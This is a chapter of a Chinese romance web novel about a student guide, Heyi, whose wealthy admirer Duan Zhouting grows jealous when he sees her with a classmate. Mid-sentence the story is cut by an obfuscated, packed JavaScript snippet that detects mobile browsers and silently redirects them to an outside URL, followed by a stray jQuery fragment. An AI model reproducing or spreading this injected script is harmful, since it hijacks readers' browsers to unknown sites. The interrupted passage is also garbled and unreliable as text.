兼职的工作是班长吴明帮忙介绍的。
近年来国内文化朝外稳定输出,加上京市四月的天气不冷不热,正是游玩的季节。
所以不少外国游客会选择在这个时间段来京市旅游参观。
这样的游客需要一名口语伶俐,对文化历史相对了解的导游。
当然薪资部分也会相对可观。
作为京大文修系的学生,很明显,鹤枝专业对口。
周末的时候,鹤枝换了一身便捷的运动服,提前到景点作准备。
第一次的导游工作是她和吴明一起,接待的是来自澳大利亚的一家人。
时间还早,鹤枝和吴明坐在博物馆门口一边等一边闲聊。
“你这工作哪里找的?”鹤枝随口问了一句。
吴明抓了抓脑袋,似乎有些不好意思,“我是偏远农村考上来的,家里条件不好,所以我从高中毕业一直就在兼职,上学期我加入了学校的旅游社,跟着旅游社把京市玩了一遍,后来旅游社的社长问我要不要兼职,就给我介绍了这份工作。”
鹤枝点点头,原本她只是随口一句,没想到对方一股脑儿倒豆子似的把自己的家庭,大学生活全都跟她说了了一遍。
其实她也不知道作何回应,总不能似是而非地安慰一句。
没事,我也很穷。
挺没意思的。
更重要的是,此时的鹤枝其实有些心不在焉。
主要是因为前两天段洲庭的那通电话。
鹤枝总觉得,他好像生气了。
具体是什么原因,鹤枝有些猜测。
大概是她本来说请他吃饭,但是没请上?
但他好像也没那么缺这顿饭吃吧?
而且在深城的时候,她几次三番提起,段洲庭也没给过确切的回答。
重点是,段洲庭的态度上好像并没有什么差别。
可鹤枝就是觉得他好像生气了。
更有甚者,那天在段洲庭追问了一句“那到底是什么时候”之后,还没等鹤枝想到回答,对方就自问自答似的回了一句“我明白了”,接着就把电话挂掉了。
在那之后,鹤枝尝试给他发过几条信息,但都石沉大海。
中间也打过几通电话,都被挂断处理。
他们之间,好像莫名进入了一场无厘头的冷战。
正发散思维着,身旁的吴明发现自己侃侃而谈没得到回复后开始叫她,“鹤枝?鹤枝?”
鹤枝回过神朝他看过去,“怎么了?”
吴明正要说话,扭头正好撞进鹤枝那双湿漉漉像淋了雨的小狗一样的眼睛里。
今天天气不错,日头也正旺着,星星点点的亮落在她的黑色瞳仁里,泛着异样的光。
吴明一时看的有些面热,赶忙慌乱地扭开头,不自然道:“没……什么,没什么,今天天有点热,问你想不想喝水,博物馆附近新开了一家奶茶店,好多小女生都爱喝他家。”
鹤枝没感觉到异常,伸长脖子朝外侧的商圈看了一眼,果然如吴明所说,右边一家奶茶店门口排满了年轻的大学生。
她收回目光,拒绝,“算了,我不爱排队。”
吴明一听这话,眼里一亮,“我可以帮你……”
正在这时,今天需要服务的澳大利亚家庭的几位成员正好到达,为首者应该是家里的长辈,是个一头白发蓝色眼瞳的时尚奶奶。
她穿了一身利落干练的冲锋衣套装,上来就用带着口音的英语和他们打招呼。
“宝贝,你们应该就是我们今天博物馆参观的导游吧?”
鹤枝和吴明胸前都别着导游的铭牌,他们几乎可以一眼认出。
吴明很有经验地上前和他们拥抱招呼,“是的,欢迎大家来到中国的博物馆,今天我和我的同事会带领大家走进中华五千年的历史。”
鹤枝也有样学样和他们轻轻地拥抱招呼。
一家子人不多,九个人的小团,大概是神秘东方对他们有天然的吸引,再加上鹤枝的准备工作非常充分,她还在基础的介绍里加入了专业上对博物馆文物的一些说明,叫这些来自澳大利亚的游客对鹤枝赞不绝口。
京博很大,外围沿边还有一些辅生的古迹。
他们参观需要一天的时间。
中午的时候,家庭团队暂时地告别鹤枝和吴明,选择去吃网上推荐的一家地道京市菜。
而吴明和鹤枝下午还要继续工作,就选择了附近的一家餐馆,随便对付一口。
大多数来旅游的人都会选择更大更地道的餐厅,所以这家简朴的餐馆人并不多。
两人坐下后,分别点了两碗不同的面条。
吴明忽然起身,“鹤枝,你在这儿等一下,我出去一下。”
鹤枝正掏出手机纠结着趁这个空档是给段洲庭再打个电话,还是发条信息。
听到吴明的话,她也没太在意。
“好。”
吴明很快出了门,大概十分钟后,他满头是汗地跑了回来,手上还拎着两杯冒着冷气凝珠的奶茶。
鹤枝手中的信息编辑到一半,吴明将奶茶推到她面前。
因为刚刚的剧烈运动,他还在喘着粗气。
“奶茶,你不是想喝?不用排队,我之前就观察过,中午人会少!”
吴明声音清亮,笑起来虎牙露出来,整个人都很干净清爽。
鹤枝一愣,放下未编辑完信息的手机,想了半天才说道:“谢谢你,多少钱?我转给你。”
吴明赶紧摆摆手,“一杯奶茶而已,你是跟我出来兼职的,照顾你是我应该的。”
话都说到这份儿上,一杯奶茶也就十几块钱,再纠结显得有些刻意,鹤枝只能接下奶茶,再次道谢,“谢谢你。”
今天天气本来就好,一上午的工作也叫人口干舌燥,不得不说,这杯冰奶茶下肚,确实很舒服。
鹤枝实在没想好信息该编辑什么内容,加上和她同行的人已经回来,再一直拿着手机不是太好,所以只好放弃给段洲庭发消息。
本以为两人之间,鹤枝不主动,联系就算是断了。
没想到,面条吃到一半,手机一阵铃响,他居然来了电话。
鹤枝眼皮蓦然一跳,接起电话。
一开口,嗓音有些哑。
“段……段先生?”
本来想直接叫段洲庭,一想到对面还有其他人。
而段洲庭这名字在新闻报道,财经杂志上也不算陌生,所以临了转了口,还是叫了段先生。
吴明从热腾腾的面里抬头看了一眼鹤枝后飞速埋下头。
电话那头的人没在第一时间说话。
鹤枝狐疑地移开手机看了一眼,确认电话还在接通没有任何问题后,她又重新将手机听筒贴回耳朵上。
“段先生?你在听吗?”
这次,对面终于出声,是一声极冷的笑意。
段洲庭咬着牙重复鹤枝的称呼,反问,“段先生?鹤枝小姐的心真是让人捉摸不透呢。”
鹤枝愣住,第一时间没有反应过来段洲庭这话的意思,她没去纠结,而是追问前几次的失联。
“我前几天给你发信息打电话你都没回。”
段洲庭好像在外面,听筒里还能听到车水马龙的声音,这声音衬的他的嗓音极轻。
“你现在在做什么?”
不是回答,而是反问。
鹤枝看了一眼面前的面条,如实回答,“在吃饭。”
对面的人哼笑一声,似乎是在开玩笑,“鹤枝小姐这么忙,不是没空吃饭?”
鹤枝愣了一下才回想起来,上次那通不欢而散的电话,她确实说没时间请他吃饭,要过几天。
所以他这是……在问责?
“吃的面条,下次请你的时候,一定会选个贵的。”
听筒里又是短暂的沉默,这时吴明像
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16363293|183795||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是好心提醒了一句,“鹤枝,奶茶要赶紧喝,凉了就不好喝了,等会再想喝肯定就要排队了,不过没关系,你想喝,我就去帮你排。”
鹤枝:……
“看来确实很忙。”段洲庭在这时出声,显然他也听到了这句。
鹤枝下意识解释,“不是,我是接了个兼职,你知道的,上次你那朋友,陈总,我也接兼职给他修复花瓶了,我一直都有在兼职,不是故意放你鸽子的。”
段洲庭轻嗯一声,又问了一句,“陈宝年给的工资不高?”
“挺高的。”鹤枝自顾地点点头,又反应过来对方看不见,这才道:“但是他好像忘记给我结尾款了。”
意识到这话不对,极有可能得罪别人,鹤枝找补了一句,“陈总上次当场就说让助理结了,应该是助理事多,忘了。”
段洲庭沉吟片刻,接着道:“我知道了。”
鹤枝还想说什么,那边抢先出声,“你先忙,我还有事。”
没给鹤枝反应的时间,电话已经挂断,鹤枝捏着手机思索片刻,也没猜透段洲庭这通电话的意思。
是对他们莫名冷战的破冰?
鹤枝不明白。
就像她从来看不透段洲庭这个人到底在想什么一样。
——
隔着餐馆一条街的对面,黑色雷克萨斯商务车里,男人紧绷着下颌,表情不怎么明朗地坐在后座上。
他薄薄的眼皮掀起,那双薄情冷淡的眸此刻正隔着副驾半降下的车窗沉沉地盯着对面茶馆里对面而坐的一对男女。
大概是那杯奶茶真的很好喝,小姑娘咽了一口后,脸上露出渭叹的表情。
坐在她对面的年轻男生看到她满意地的样子,也笑开了。
很美好。
也很刺眼。
李唐背后一寒,顺着他的目光看过去。
他捏紧了掌心,试探开口,“段总,cherry女士已经由地陪接待到达博物馆,您可以放心了。”
段洲庭近期正在洽谈美国加州最大的一家公司的合作,而合作负责人cherry女士也由昨天从加州落地京市,她对中国的文化很感兴趣,主动提起要来京市博物馆感受一下。
为了表现段氏的诚意,段洲庭亲自将她送到了博物馆。
没想到人刚下车,商务车转了个弯,就看见了熟悉的脸。
李唐当时正在介绍cherry上一个经手的项目的成果分析,初步评判这次合作的风险估值,后座一直未说话的人忽然沉声打断。
“停车!”
司机立时打了一圈方向盘,停进旁边的车位里。
李唐一脸蒙的回头,“怎么了?段总,是有什么问题吗?”
接着是一通听上去很淡然,但使得车内气氛骤降的电话。
电话那头的人显然还不知道这边段洲庭的脸色已经阴沉到了什么地步。
段洲庭一直是个不动声色的人,李唐很少会看见他情绪失控的样子。
或者说,根本没有这样的时候,段洲庭一直是人人称赞的绅士。
绅士带着阴沉的笑,盯着对面的景象问了一句。
“李唐,你说,他们像什么?”
李唐心跳一顿,他当然知道这个他们指的是谁。
小心翼翼的斟酌着用词回答,“段总,还请明示。”
段洲庭的眼里是压不住的戾气,偏他还是勾着唇,浅浅笑着。
“是苦命鸳鸯啊,你没看出来吗?”
李唐瞬间背后汗湿,打工人的要义,千万不要反驳老板。
特别是情绪不对的老板。
“您说的对。”
“我要送外公的那只瓷瓶是不是坏了?”
李唐愣神,“啊?没有啊。”
段洲庭收回目光看着李唐,恍然大悟了一声,“哦,没坏吗?”
下一句,“联系齐老,就说我要跟他借个学生。”